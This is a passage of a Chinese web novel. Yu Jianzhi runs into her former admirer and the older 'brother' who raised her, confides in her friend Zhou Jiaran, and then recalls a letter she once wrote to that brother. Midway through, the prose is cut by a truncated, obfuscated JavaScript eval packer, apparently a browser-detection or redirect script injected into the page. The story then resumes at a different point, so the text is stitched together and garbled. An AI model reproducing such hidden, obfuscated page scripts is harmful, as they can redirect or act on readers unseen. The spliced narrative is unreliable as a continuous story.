余简之还没说“不是”,周佳然已从里面出来,自然走到余简之身侧:“我找到了,走吧,简之。” 周佳然在三人的注视下走到余简之身旁,说完后才发觉余简之并未移动,且面前站着两位似乎与她相识的男人。周佳然的目光在梁景翊和梁怀聿脸上快速扫过,随即露出得体的微笑,朝他们微微颔首。 梁景翊蹙眉,目光在周佳然和余简之之间来回打量,丝毫不掩饰敌意:“就这个朋友?” 周佳然这才完全意识到眼前的气氛并非简单的寒暄。 他迅速调整了表情,保持着风度,朝梁景翊伸出手:“你好。我是周佳然。简之的……”他略一停顿,一时也找不到更好的方式介绍自己,最终还是选择了最稳妥的定义,“朋友。” 梁景翊冷淡但保持着礼貌,伸出手:“我也是简之的朋友,梁景翊。”他特意咬重“也是”二字。 周佳然没将他的敌意放在心上,转向他身侧那人。 他抬眸悄悄打量,这是一个年长于他们的男人,气度不凡,但身上散发的内敛迫人气息似乎更重。周佳然判断这一定是一个极难应付的角色。 然而预想中的冷遇或刁难并未发生。几乎在他目光移过去的同时,那男人已伸出手来。握手过程短暂,没有自我介绍便收回手,只轻微颔首,若非周佳然全神贯注,几乎错过这个动作。 周佳然又回头看余简之。她站在他身边,对着那两人,脸上没什么表情,甚至有些过于平静了。 高冷……? 但又有几分无法招架的意思。 余简之忽然伸手,拉住了周佳然的衣袖,力道不轻:“走了。” 她说得短促又含糊,拽着周佳然的衣袖就往外走,步子又快又急,几乎是小跑着冲下台阶。梁景翊还想追上来:“喂!简之,我送你!” 余简之头也不回地喊了一声:“不用!” 她拽着周佳然一路奔跑,周佳然身高腿长,很自然地跟上她慌乱的脚步,任由她拖拽。等跑到足够远,余简之又像小耗子悄悄回头看。只是她个子矮,从她的角度看去,有些看不着。 周佳然告诉她:“他们已经走了。” 余简之猛然回神,意识到自己一连串的失态,脸色发热,不太好意思道歉:“抱歉……”除此之外,她也不知怎么解释。 “不会是前男友吧?”周佳然笑笑,状似无意地随口一猜。 余简之烦恼地抓了抓脑袋,破罐破摔:“Bingo,你猜对了。” “那我猜猜哪个是你ex?不介意吧?” 余简之扬起得体的笑:“您请便。” “梁景翊是你的追求者,另一位是你前任。”周佳然略作思考,便笃定地说。 “哇哦……”余简之笑起来,“恰恰相反。” “什么?”周佳然颇感意外,“我以为女孩子们都更喜欢年上这款。想不到你会喜欢弟弟型的。” “嗯……地铁在这边,”余简之提醒周佳然,两人并肩拐上另一条路,“我对年龄无感。和他在一起时开心就好。” “所以不答应另一个人的原因是和他在一起不够开心?” 和周佳然一本正经地探讨这个问题本就足够好笑,余简之再想到自己从小到大被梁怀聿教导的样子——他其实并不常疾言厉色,但只要他站在面前,她就会不由地紧张。 “哈哈哈,虽然偶尔会压力很大,但是不是这个原因。”她笑着否认。 “是他管你太严?” “为什么会这么想啊!”余简之忍不住爆笑起来。 “因为他看起来就……”周佳然斟酌着用词,“就很有规则感。我觉得他应该是那种习惯,并且乐于建立秩序、管教别人的人。” “竟然真被你猜中了!”余简之觉得新奇又好笑,“嗯……他是资助我读书的哥哥。” “等等,”周佳然停下脚步,表情变得认真,“你不是说他是你的……追求者?你确定这关系……正常?” “果然这两个组合在一起很奇怪吧?!”余简之自己也觉得荒谬。 “不是很奇怪,是相当……特别。”周佳然谨慎地选择措辞,“你……自己要多留心。” 余简之莞尔,解释道:“没有,和你想的很不一样。他,是在我还是小学生的时候开始资助我的。或者应该说领养吧!说是资助,我们都默认是领养的,因为我是个孤儿。” “抱歉。”周佳然立刻道。 “不用抱歉呀,我有家人,很好的家人。”余简之说,“他也没有追我,就是在我大学的时候不明不白地扔下了一句‘我好像对你有了不一样的感情’。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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距离我们上次见面,已经过去好几个月。现在,时间和距离都拉远了,因为我身处纽约。 这段时间,我一直在想该怎么面对您,又该怎么面对我自己。谢谢您,十多年前将我和平安从山坳里带出来;谢谢您为我们描绘北京的模样,仿佛一张画纸,叠一叠,便能塞进我们小小的口袋。 还有那么多、那么多次的照顾和指引。 让我走到北京,走到纽约。这真是我不敢想的一件事,小说里的人生,有一天我竟然也拥有了。 因为哥哥对我永远那么好,所以即便长大了,我还是那么地依赖着哥哥。当哥哥对我说那些话,我想我应该是开心的,可是又觉得很惶恐不安。我一直把您当做哥哥看待,我无法在不分离我们从前兄妹情分的情况下与您开启任何不是兄妹的关系。我无法做到,在妹妹和其他身份之间瞬间完成切换。所以,哥哥给我的选择题,我不会选。 我申请了两年交换,想把握这个机会。 这两年,我想试着少依赖您一点。(可是我又好希望您能偶尔来看看我……) 我会尽快成长,当我有能力为自己的选择负责时。不要因为害怕失去,在仓促和混乱中,做出不够慎重的决定。我想以独立的姿态回应哥哥。两年的时间应该足够,请你等我。 可以吗?哥哥。 …… “不对。”余简之猛地刹住脚。 “怎么了?” “回国后,他亲口告诉我,他没有看那封信。他说他没有等我。可是如果他没有看信,怎么知道我在信里请求他等我呢?”